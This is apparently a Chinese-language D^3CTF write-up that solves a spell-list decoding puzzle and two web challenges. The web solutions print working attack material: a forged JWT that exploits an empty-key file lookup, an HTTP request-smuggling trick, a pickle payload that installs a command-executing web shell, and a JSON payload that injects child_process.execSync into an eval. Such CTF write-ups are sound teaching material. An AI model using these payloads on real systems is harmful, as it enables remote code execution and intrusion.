D^3CTF

MISC

Baldur’s Gate 3 Complete Spell List

📎flag.zip

附件是json文件,里面全是法术名称

img

猜测先将法术名都提取出来,每一对{}为一行,不同的法术名用#分割

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import json

def traverse_json(data,line):

if isinstance(data, dict):
for key, value in data.items():
# print(key) # 可以在这里对键进行操作
print(value,end='#')
print()
line += 1
elif isinstance(data, list):
for item in data:
traverse_json(item,)
return line
# 这里是值,可以在这里对值进行操作

line_count = 0
# 假设您有一个名为data.json的JSON文件
with open('flag_spells.json', 'r') as file:
json_data = json.load(file)

# 遍历JSON数据
line_count=traverse_json(json_data,line_count)
print(line_count)

得到

img

将每个法术名都转化为对应的等级,这边用到了网页的爬虫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import re
# url="https://bg3.wiki/wiki/Protection_from_Energy:_Thunder"
# response=requests.get(url)
# matches = re.search(r'Level (\d) Spells', string=str(response.text))
# print(matches[1])
with open("flag_spell.txt",'r') as f:

for line in f:
new_list=line.strip().split("#")
for url_1 in new_list:
if url_1 != "" and url_1 != "8":
url="https://bg3.wiki/wiki/{}".format(url_1.replace(" ","_"))
response=requests.get(url)
matches = re.search(r'Level (\d) Spells', string=str(response.text))
print(matches[1],end="")
elif url_1=="8":
print(8,end="")
print()

得到

img

可以看到是1-9的范围,想到可能是9进制,将每个数字都-1,然后转ascii

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
a=[236, 249, 249, 245, 248, 75, 63, 63, 239, 244, 228, 241, 228, 248, 249, 244, 249, 236, 233, 242, 228, 254, 62, 231, 244, 242, 63, 81, 228, 91, 212, 64, 231, 91, 96, 71, 95, 255, 74, 245, 95, 243, 84, 252, 231, 67, 212, 245, 229, 217, 231, 251, 219, 66, 96, 252, 98, 216, 236, 68, 96, 91, 236, 242, 231, 66, 248, 252, 221, 242, 254, 236, 221, 255, 69, 253, 229, 242, 231, 78]
def decrease_each_digit(num):
# 将数字转换为字符串
num_str = str(num)
# 对字符串中的每一位字符,将其转换为整数,减1
result_str = ''.join(str(int(digit) - 1) for digit in num_str)
# 返回减1后的结果
return int(result_str)
b=[]
for i in range(len(a)):
b.append(decrease_each_digit(a[i]))
# print(b)


def nine_to_decimal(nine_num):
# 将九进制数转换为字符串
nine_str = str(nine_num)
# 初始化十进制结果为0
decimal_result = 0
# 遍历九进制数的每一位
for i, digit in enumerate(nine_str):
# 将九进制数的每一位转换为十进制数
decimal_digit = int(digit)
# 计算对应位的权值
weight = 9 ** (len(nine_str) - i - 1)
# 计算对应位的十进制值,并累加到结果中
decimal_result += decimal_digit * weight
# 返回十进制结果
return decimal_result
c = []
flag = ''
for i in range(len(b)):
flag=flag+chr(nine_to_decimal(b[i]))
print(c)
print(flag)

img

去将后面的base64解密

img

得到flag图片地址,去访问

Baldur’s Gate 3 Comlete Spell Listimg

扫码得到flag

img

d3ctf{y0u_are_spells_m4ster}

WEB

d3pythonhttp

📎attachment.zip

源代码审计,发现有后门,先进入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
@app.route('/admin', methods=['GET', 'POST'])
def admin():
token = request.cookies.get('token')
if token and verify_token(token):
if request.method == 'POST':
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
forward_url = "127.0.0.1:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != 'Host'}
data = request.data
print(data)
print(len(data))
print(data.decode())
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
if headers.get("Transfer-Encoding", "").lower() == "chunked":
data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
print(data)
if "BackdoorPasswordOnlyForAdmin" not in data:
return "You are not an admin!"
conn.request(method, "/backdoor", body=data, headers=headers)
response = conn.getresponse()
return f"Done!"
else:
return "You are not an admin!"
else:
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
return "Welcome admin!"
else:
return "You are not an admin!"
else:
return redirect("/login", code=302)

首先要绕过

1
if token and verify_token(token):

找到具体的验证token的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def get_key(kid):
key = ""
dir = "/app/"
try:
print(dir+kid)
with open(dir+kid, "r") as f:
key = f.read()
except:
pass
print(key)
return key

def verify_token(token):
header = jwt.get_unverified_header(token)
kid = header["kid"]
print(kid)
key = get_key(kid)
try:
payload = jwt.decode(token, key, algorithms=["HS256"])
return True
except:
return False

关键是key是通过访问文件接收的,只要访问的文件不存在,那么key就是空,这时候就不用key加密jwt了,在线加密jwt,得到eyJhbGciOiJIUzI1NiIsImtpZCI6ImZyb250ZW5kIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InNhIiwiaXNhZG1pbiI6dHJ1ZX0.YjSeqw_-Mw5gUnoawx6NDz6DaVAulbNFOwZBgAGUEE4

img

第二步绕过前后端的差异

1
2
3
4
5
6
7
8
9
10
前端:
if headers.get("Transfer-Encoding", "").lower() == "chunked":
data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
print(data)
if "BackdoorPasswordOnlyForAdmin" not in data:
return "You are not an admin!"
后端:
if b"BackdoorPasswordOnlyForAdmin" in data:
print('false')
return "You are an admin!"

其中后端又复制了前端的请求头

1
headers = {key: value for (key, value) in request.headers if key != 'Host'}

其实Transfer-Encoding和Content-Length均存在的时候是以Transfer-Encoding编码方式为准,当Transfer-Encoding字段不能被解析的时候就看Content-Length,又因为前端可以解析大写的chunked,后端不行,利用这一点,我们传数据的时候用Transfer-Encoding:Chunked加上对应的Content-Length字段,使传给前端的数据是完整的数据,传给后端的只是Content-Length字段长度的数据

最后一步是pickle反序列化,因为不能出网和返回结果,我们写马,利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():
forward_url = "127.0.0.1:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != "Host"}
data = request.data
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
# print(request.query_string)
# print(path)
conn.request(method, path, body=data, headers=headers)
response = conn.getresponse()
return response.read()

去得到回显的数据,得到pickle反序列化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pickle
import base64

payload='''
def test(asd):
cmd = web.input().cmd
return __import__('os').popen(cmd).read()
index.GET = test
'''
class A(object):
def __reduce__(self):
return (exec, (payload,))


a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

这个脚本中的payload的意思是,会将后端的/路由重导到test函数中,传入cmd参数就可以命令执行了。

完整的发包

img

去访问/backend路由,传入cmd参数就可以命令执行了

img

stack_overflow

📎stack_overflow.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
const express = require('express')
const vm = require("vm");

let app = express();
app.use(express.json());
app.use('/static', express.static('static'))

const pie = parseInt(Math.random() * 0xffffffff)

function waf(str) {
let pattern = /(call_interface)|\{\{.*?\}\}/g;
return str.match(pattern)
}

app.get('/', (req, res) => {
res.sendFile(__dirname + "/index.html")
})

app.post('/', (req, res) => {
let respond = {}

let stack = []

let getStack = function (address) {
if (address - pie >= 0 && address - pie < 0x10000) return stack[address - pie]
return 0
}

let getIndex = function (address) {
return address - pie
}

let read = function (fd, buf, count) {//stdin 3556220757 28
let ori = req.body[fd]
if (ori.length < count) {
count = ori.length
}

if (typeof ori !== "string" && !Array.isArray(ori)) return res.json({"err": "hack!"})

for (let i = 0; i < count; i++){
if (waf(ori[i])) return res.json({"err": "hack!"})
stack[getIndex(buf) + i] = ori[i]
}
}

let write = function (fd, buf, count) {//stdout S 2
if (!respond.hasOwnProperty(fd)) {
respond[fd] = []
}
for (let i = 0; i < count; i++){
respond[fd].push(getStack(buf + i))
}
}

let run = function (address) {
let continuing = 1;
while (continuing) {
switch (getStack(address)) {
case "read":
let r_fd = stack.pop()//stdin
let read_addr = stack.pop()//3556220757
if (read_addr.startsWith("{{") && read_addr.endsWith("}}")) {
read_addr = pie + eval(read_addr.slice(2,-2).replace("stack", (stack.length - 1).toString()))
}
read(r_fd, parseInt(read_addr), parseInt(stack.pop()))//stdin 3556220757 28
break;
case "write":
let w_fd = stack.pop() //stdout
let write_addr = stack.pop()//Start
if (write_addr.startsWith("{{") && write_addr.endsWith("}}")) {
write_addr = pie + eval(write_addr.slice(2,-2).replace("stack", (stack.length - 1).toString()))
}
write(w_fd, parseInt(write_addr), parseInt(stack.pop()))//2
break;
case "exit":
continuing = 0;
break;
case "call_interface":
let numOfArgs = stack.pop()
let cmd = stack.pop()
let args = []
for (let i = 0; i < numOfArgs; i++) {
args.push(stack.pop())
}
cmd += "('" + args.join("','") + "')"
let result = vm.runInNewContext(cmd)
stack.push(result.toString())
break;
case "push":
let numOfElem = stack.pop()
let elemAddr = parseInt(stack.pop())
for (let i = 0; i < numOfElem; i++) {
stack.push(getStack(elemAddr + i))
}
break;
default:
stack.push(getStack(address))
break;
}
address += 1
}
}
//pie时code顶
let code = `
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
28
[[ 0 ]]
stdin
read
Started Convertion...
Your input is:
2
[[short - 3]]
stdout
write
5
[[ 0 ]]
stdout
write
...
1
[[short - 2]]
stdout
write
[[ 0 ]]
5
push
(function (...a){ return a.map(char=>char.charCodeAt(0)).join(' ');})
5
call_interface
Ascii is:
1
[[short - 2]]
result
write
1
{{ stack - 2 }}
result
write
Ascii is:
1
[[short - 2]]
stdout
write
1
{{ stack - 3 }}
stdout
write
ok
1
[[short - 2]]
status
write
exit`

code = code.split('\n');
for (let i = 0; i < code.length; i++){
stack.push(code[i])
if (stack[i].startsWith("[[") && stack[i].endsWith("]]")) {
console.log(stack[i].slice(2,-2).replace("short", i.toString()))
stack[i] = (pie + eval(stack[i].slice(2,-2).replace("short", i.toString()))).toString()

}
}
run(pie + 0)
return res.json(respond)
})

app.listen(3090, () => {
console.log("listen on 3090");
})


分析一下源代码,是模拟了一个栈的操作,看到了eval函数,我们关键是要将注入代码让eval执行,分析代码逻辑之后发现,read方法能读取28个,但是栈中初始的0只有20个,刚好覆盖掉[[short - 3]],而本来[[short - 3]]是被送到eval里去执行的

现在利用栈溢出将[[short - 3]]改成js的代码执行就可以了,加\n是为了绕过下面waf中的正则匹配

1
{"stdin":["a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","{{\nrespond[1]=require('child_process').execSync('ls /').toString()}}"]}

D^3CTF
http://www.qetx.top/posts/11239/
作者
Qetx.Jul.27
发布于
2024年4月27日
许可协议